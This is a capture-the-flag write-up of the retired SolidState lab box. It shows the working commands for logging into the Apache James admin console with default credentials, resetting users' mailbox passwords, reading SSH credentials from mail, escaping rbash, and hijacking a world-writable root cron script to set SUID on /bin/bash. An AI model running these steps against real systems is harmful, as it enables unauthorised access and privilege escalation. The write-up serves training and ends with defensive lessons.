SolidState
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. SolidState is a medium Linux box and it is all about mail. The scan returns six ports and three of them are messaging services (SMTP, POP3 and NNTP), but the interesting one is 4555: that is where the remote administration console of Apache James 2.3.2 listens, and it accepts its defaultroot/rootcredentials (the Apache James administration console). From that console you can reset mailbox passwords without knowing the old one, so we changemindy's, log in over POP3 and read her mail: her SSH credentials are inside. The session lands in an rbash that refuses to run anything, and we escape by asking SSH to launchbashdirectly. Once in, a small monitoring script of our own exposes a root cron running/opt/tmp.py, a-rwxrwxrwxfile: we rewrite it so it sets the SUID bit on/bin/bashand, on the next cycle,bash -popens arootshell.
About the evidence. Only one capture is published for this box, and it is a browser one (the documentation for James's default credentials). Everything else is a terminal transcript in each tool's standard format. Both flags are published in full because the box is retired.
Reconnaissance#
Initial scan#
We start with a ping. Beyond confirming the box answers, the TTL (Time To Live) field of the reply hints at the operating system: every OS starts the TTL at a default value and every router decrements it by one per hop. A value close to 64 usually means Linux and one close to 128, Windows. Here it comes back as ttl=63, that is 64 minus one hop, so it points to Linux (a hint, not a proof).
ping -c 1 10.129.72.22164 bytes from 10.129.72.221: icmp_seq=1 ttl=63 time=21.6 ms
Next, a full TCP scan of all 65535 ports. Six come back, and three of them are mail services: SMTP, POP3 and NNTP. Port 4555 is none of the usual suspects.
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.129.72.221 -oG scanStarting Nmap 7.99 ( https://nmap.org ) at 2026-10-07 19:44 +0000 Initiating SYN Stealth Scan at 19:44 Scanning 10.129.72.221 [65535 ports] Discovered open port 22/tcp on 10.129.72.221 Discovered open port 80/tcp on 10.129.72.221 Discovered open port 110/tcp on 10.129.72.221 Discovered open port 25/tcp on 10.129.72.221 Discovered open port 4555/tcp on 10.129.72.221 Discovered open port 119/tcp on 10.129.72.221 Completed SYN Stealth Scan at 19:44, 11.63s elapsed (65535 total ports) Nmap scan report for 10.129.72.221 Host is up, received user-set (0.024s latency). Scanned at 2026-10-07 19:44:34 UTC for 11s Not shown: 64716 closed tcp ports (reset), 813 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 25/tcp open smtp syn-ack ttl 63 80/tcp open http syn-ack ttl 63 110/tcp open pop3 syn-ack ttl 63 119/tcp open nntp syn-ack ttl 63 4555/tcp open rsip syn-ack ttl 63 Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 11.72 seconds Raw packets sent: 72574 (3.193MB) | Rcvd: 64722 (2.589MB)
On those six we ask for versions and default scripts. And something worth reading carefully happens: only two of the six answer. Port 22 is an OpenSSH 7.4p1 from Debian 9 and port 80 an Apache 2.4.25, but 25, 110, 119 and 4555 come back with a question mark, meaning nmap sees the port open and cannot tell what is behind it. The SMTP script spells it out: Couldn't establish connection on port 25.
nmap -p22,25,80,110,119,4555 -sCV 10.129.72.221 -oN targetedScanStarting Nmap 7.99 ( https://nmap.org ) at 2026-10-07 19:45 +0000 Stats: 0:02:00 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 33.33% done; ETC: 19:51 (0:03:58 remaining) Stats: 0:05:51 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan NSE Timing: About 95.83% done; ETC: 19:51 (0:00:05 remaining) Nmap scan report for 10.129.72.221 Host is up (0.023s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0) | ssh-hostkey: | 2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA) | 256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA) |_ 256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519) 25/tcp open smtp? |_smtp-commands: Couldn't establish connection on port 25 80/tcp open http Apache httpd 2.4.25 ((Debian)) |_http-server-header: Apache/2.4.25 (Debian) 110/tcp open pop3? 119/tcp open nntp? 4555/tcp open rsip? Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 405.45 seconds
A version scan that fails to identify a service is not a dead end, it is an invitation: it means you have to connect by hand and read the greeting. That is exactly what we do with 4555.
Shell as mindy#
Apache James - TCP 4555#
nmap labels 4555 as rsip because that is the protocol assigned to it in /etc/services, but what is listening there is something else. Opening a raw connection is enough for the service to introduce itself:
nc -nv 10.129.72.221 4555(UNKNOWN) [10.129.72.221] 4555 (?) open JAMES Remote Administration Tool 2.3.2 Please enter your login and password Login id:
Apache James 2.3.2, and it even tells us it is its Remote Administration Tool: the console that administers the mail server. Looking up the product and version returns the first thing to try against any administration panel, which is its default credentials.

Resetting a mailbox password#
The default credentials work. Once inside, HELP lists what the console can do, and there is the key to the whole box: setpassword [username] [password], which changes a mailbox password without asking for the previous one. Before that, listusers gives us the six accounts.
nc -nv 10.129.72.221 4555(UNKNOWN) [10.129.72.221] 4555 (?) open JAMES Remote Administration Tool 2.3.2 Please enter your login and password Login id: root Password: root Welcome root. HELP for a list of commands HELP Currently implemented commands: help display this help listusers display existing accounts countusers display the number of existing accounts adduser [username] [password] add a new user verify [username] verify if specified user exist deluser [username] delete existing user setpassword [username] [password] sets a user's password setalias [user] [alias] locally forwards all email for 'user' to 'alias' showalias [username] shows a user's current email alias unsetalias [user] unsets an alias for 'user' setforwarding [username] [emailaddress] forwards a user's email to another email address showforwarding [username] shows a user's current email forwarding unsetforwarding [username] removes a forward user [repositoryname] change to another user repository shutdown kills the current JVM (convenient when James is run as a daemon) quit close connection listusers Existing accounts 6 user: james user: ../../../../../../../../etc/bash_completion.d user: thomas user: john user: mindy user: mailadmin setpassword mindy 1234 Password for mindy reset setpassword john 1234 Password for john reset setpassword thomas 1234 Password for thomas reset setpassword mailadmin 1234 Password for mailadmin reset quit Bye
Two things in that output deserve a paragraph.
The first is the second account: ../../../../../../../../etc/bash_completion.d. An account name does not have to be a path, and that one in particular is the signature of the known Apache James 2.3.2 flaw, where the username is used as-is to build the mailbox path and allows writing files outside the mail store. We do not need it here: the console already lets us change passwords, which is a shorter route.
The second is that setpassword does not ask for the previous password. That turns the administration console into a master key for every mailbox, and it is exactly what we are going to use.
SSH credentials in the mailbox#
With the password changed we log in over POP3 by hand, which the protocol allows because it is plain text: user and pass to authenticate, list to see the messages with their size and retr N to download one.
telnet 10.129.72.221 110Trying 10.129.72.221... Connected to 10.129.72.221. Escape character is '^]'. +OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready user mindy +OK pass 1234 +OK Welcome mindy list +OK 2 1945 1 1109 2 836 . retr 2 +OK Message follows Return-Path: <mailadmin@localhost> Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Delivered-To: mindy@localhost Received: from 192.168.11.142 ([192.168.11.142]) by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581 for <mindy@localhost>; Tue, 22 Aug 2017 13:17:28 -0400 (EDT) Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT) From: mailadmin@localhost Subject: Your Access Dear Mindy, Here are your ssh credentials to access the system. Remember to reset your password after your first login. Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path. username: mindy pass: P@55W0rd1!2@ Respectfully, James .
The second message is the good one: mindy / P@55W0rd1!2@ for SSH. And the mail itself warns about what we are going to find when we log in, even if it does not use the name: "Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path".
rbash: escaping the restricted shell#
The credential works, but the session is not worth much. The very first command fails, and the error message names who rejected it: -rbash.
ssh mindy@10.129.72.221... mindy@solidstate:~$ whoami -rbash: whoami: command not found mindy@solidstate:~$ exit logout Connection to 10.129.72.221 closed.
rbash is bash started in restricted mode: it refuses to change directory, to redirect output or to run anything whose name contains a slash, and it pins PATH to a directory the administrator controls. That is why whoami "does not exist": the binary is not missing, it is simply not in the PATH rbash allows.
The shortest escape is not letting rbash start at all. With ssh ... -t bash we ask SSH for two things: -t forces a pseudo-terminal and bash is the command to run. The login shell receives a bash that is in its PATH, runs it, and that child bash does not inherit restricted mode.
ssh mindy@10.129.72.221 -t bash... ${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ whoami mindy ${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ id uid=1001(mindy) gid=1001(mindy) groups=1001(mindy) ${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ cat user.txt 8c1941511e299f4b2a8073955cf9fd96
We are now mindy with a real shell, and the first flag is in her home. The prompt shows the literal ${debian_chroot:+($debian_chroot)} because that bash starts without reading the /etc/bash.bashrc that normally expands the variable; it is cosmetic and affects nothing.
Shell as root#
Watching processes without uploading pspy#
What we look at next is what happens over time: scheduled tasks that start and finish between two glances at ps. The classic tool for that is pspy, but nothing needs uploading: the same effect comes from a loop comparing the process list against itself (spying on processes without privileges).
nano procmon.shcat procmon.sh#!/bin/bash old_process=$(ps -eo command) while true; do new_process=$(ps -eo command) diff <(echo "$old_process") <(echo "$new_process") | grep "[\>\<]" | grep -vE "command|procmon|kworker" old_process=$new_process done
The idea is simple: it saves the output of ps -eo command, asks for it again and shows with diff what changed. The grep "[\>\<]" keeps the lines diff marks as added or removed, and the grep -vE strips our own noise (the command header, the script itself and the kernel threads).
./procmon.sh> /usr/sbin/CRON -f > /bin/sh -c python /opt/tmp.py > python /opt/tmp.py < /usr/sbin/CRON -f < /bin/sh -c python /opt/tmp.py < python /opt/tmp.py ^C
There it is: every so often CRON launches a /bin/sh -c python /opt/tmp.py. The three > lines are the processes appearing and the three < ones are the same processes as they end.
/opt/tmp.py: the world-writable cron#
The file the cron runs has nothing remarkable about it: it wipes the contents of /tmp.
cat /opt/tmp.py#!/usr/bin/env python import os import sys try: os.system('rm -r /tmp/* ') except: sys.exit()
What is remarkable are its permissions:
ls -l /opt/tmp.py-rwxrwxrwx 1 root root 105 Aug 22 2017 /opt/tmp.py
-rwxrwxrwx: owned by root, run by root from cron and writable by anyone (cron over a writable script). No exploit needed: it is enough to change what the file says.
SUID on /bin/bash#
We rewrite it so it sets the SUID bit on /bin/bash. echo -e interprets the \n, so the whole string lands as a four-line file.
echo -e "#!/env/python3\n\nimport os\nos.system('chmod u+s /bin/bash')" > /opt/tmp.pycat /opt/tmp.py#!/env/python3 import os os.system('chmod u+s /bin/bash')
The shebang we wrote (#!/env/python3) is wrong: that path does not exist. It does not matter, and it is worth understanding why: the cron does not execute the file, it runs python /opt/tmp.py. The interpreter comes from the cron line, not from the shebang, which here is just another comment.
Before waiting for the cron, the starting state:
ls -l /bin/bash-rwxr-xr-x 1 root root 1265272 May 15 2017 /bin/bash
We leave the monitor running again so we know when the cron has fired, instead of waiting blindly:
./procmon.sh> /usr/sbin/CRON -f > /bin/sh -c python /opt/tmp.py > python /opt/tmp.py < /usr/sbin/CRON -f < /bin/sh -c python /opt/tmp.py < python /opt/tmp.py ^C
And the permission has already changed: where the owner's x was there is now an s.
ls -l /bin/bash-rwsr-xr-x 1 root root 1265272 May 15 2017 /bin/bash
A SUID binary runs with its owner's UID, here root. But bash drops the effective privilege at startup unless told otherwise, and that is exactly what -p does (SUID abuse): keep the elevated euid.
bash -pbash-4.4# cat /root/root.txt e5b35f9bc8501eaa207e37f701f8f5c5
Box rooted.
Attack chain#
nmap -p- ─► 22, 25, 80, 110, 119 y 4555
│ el -sCV no identifica 25/110/119/4555: hay que conectarse a mano
▼
nc 4555 ─► JAMES Remote Administration Tool 2.3.2 ─► root:root (por defecto)
│ listusers (6 cuentas) + setpassword mindy 1234 (no pide la anterior)
▼
telnet 110 (POP3) ─► retr 2 ─► correo con las credenciales SSH de mindy
│ ssh mindy ─► rbash: nada se puede ejecutar
▼
ssh mindy -t bash ─► shell sin restringir ─► user.txt
│ procmon.sh (diff sobre ps) ─► cron de root: python /opt/tmp.py
▼
/opt/tmp.py es -rwxrwxrwx ─► chmod u+s /bin/bash ─► bash -p ─► root.txtLessons learned#
- A service
-sCVcannot identify is an invitation, not a wall. Four of the six ports came back with a question mark, and the one that opened the box was precisely one of them. Opening a raw connection and reading the greeting takes ten seconds and here it gave the exact product and version. - An administration console with default credentials is the whole service. No Apache James exploit was needed:
root/rootwas enough to get into the panel that administers every mailbox. The first test against any panel is its factory credentials, and the first defence is changing them before exposing it. - Being able to change a password without knowing the old one is being able to read the mail.
setpasswordis not meant as a backdoor, but it does exactly that: it turns the mail server administrator into a reader of any mailbox. If the mailbox stores credentials for another service, the chain jumps systems. - Credentials do not travel by email. The message that opened the box carried an SSH username and password in plain text and was still sitting there months later. An out-of-band channel and a forced change on first login would have left that mailbox worthless.
- A restricted shell only restricts if you cannot choose which shell starts.
rbashfell to anssh ... -t bash, with no exploit at all. Real restriction means limiting the command SSH accepts (ForceCommand,authorized_keyswithcommand=), not changing the login shell. - A
777file thatrootexecutes isroot. The cron was not even secret: it showed up just by watching processes. What failed were the script's permissions, and that is the cheapest failure in the whole chain to fix and to audit.